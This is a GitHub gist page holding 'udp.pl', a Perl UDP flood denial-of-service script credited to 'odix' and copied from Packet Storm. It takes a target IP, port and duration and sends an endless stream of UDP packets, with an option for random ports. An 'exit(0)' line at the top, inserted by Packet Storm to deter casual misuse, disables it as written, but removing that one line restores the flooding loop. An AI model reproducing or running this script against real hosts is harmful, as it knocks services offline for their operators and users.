Last active
November 15, 2017 13:37
-
-
Save bvolpato/1cf9e9176103462458a8 to your computer and use it in GitHub Desktop.
udp.pl
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl | |
##################################################### | |
# udp flood. | |
# | |
# gr33ts: meth, etech, skrilla, datawar, fr3aky, etc. | |
# | |
# --/odix | |
# source: https://dl.packetstormsecurity.net/DoS/udp.pl | |
###################################################### | |
# pseudo-crippled by packetstorm to stop script kiddies. | |
exit(0); | |
# | |
use Socket; | |
$ARGC=@ARGV; | |
if ($ARGC !=3) { | |
printf "$0 <ip> <port> <time>\n"; | |
printf "if arg1/2 =0, randports/continous packets.\n"; | |
exit(1); | |
} | |
my ($ip,$port,$size,$time); | |
$ip=$ARGV[0]; | |
$port=$ARGV[1]; | |
$time=$ARGV[2]; | |
socket(crazy, PF_INET, SOCK_DGRAM, 17); | |
$iaddr = inet_aton("$ip"); | |
printf "udp flood - odix\n"; | |
if ($ARGV[1] ==0 && $ARGV[2] ==0) { | |
goto randpackets; | |
} | |
if ($ARGV[1] !=0 && $ARGV[2] !=0) { | |
system("(sleep $time;killall -9 udp) &"); | |
goto packets; | |
} | |
if ($ARGV[1] !=0 && $ARGV[2] ==0) { | |
goto packets; | |
} | |
if ($ARGV[1] ==0 && $ARGV[2] !=0) { | |
system("(sleep $time;killall -9 udp) &"); | |
goto randpackets; | |
} | |
packets: | |
for (;;) { | |
$size=$rand x $rand x $rand; | |
send(crazy, 0, $size, sockaddr_in($port, $iaddr)); | |
} | |
randpackets: | |
for (;;) { | |
$size=$rand x $rand x $rand; | |
$port=int(rand 65000) +1; | |
send(crazy, 0, $size, sockaddr_in($port, $iaddr)); | |
} | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
perl udp.pl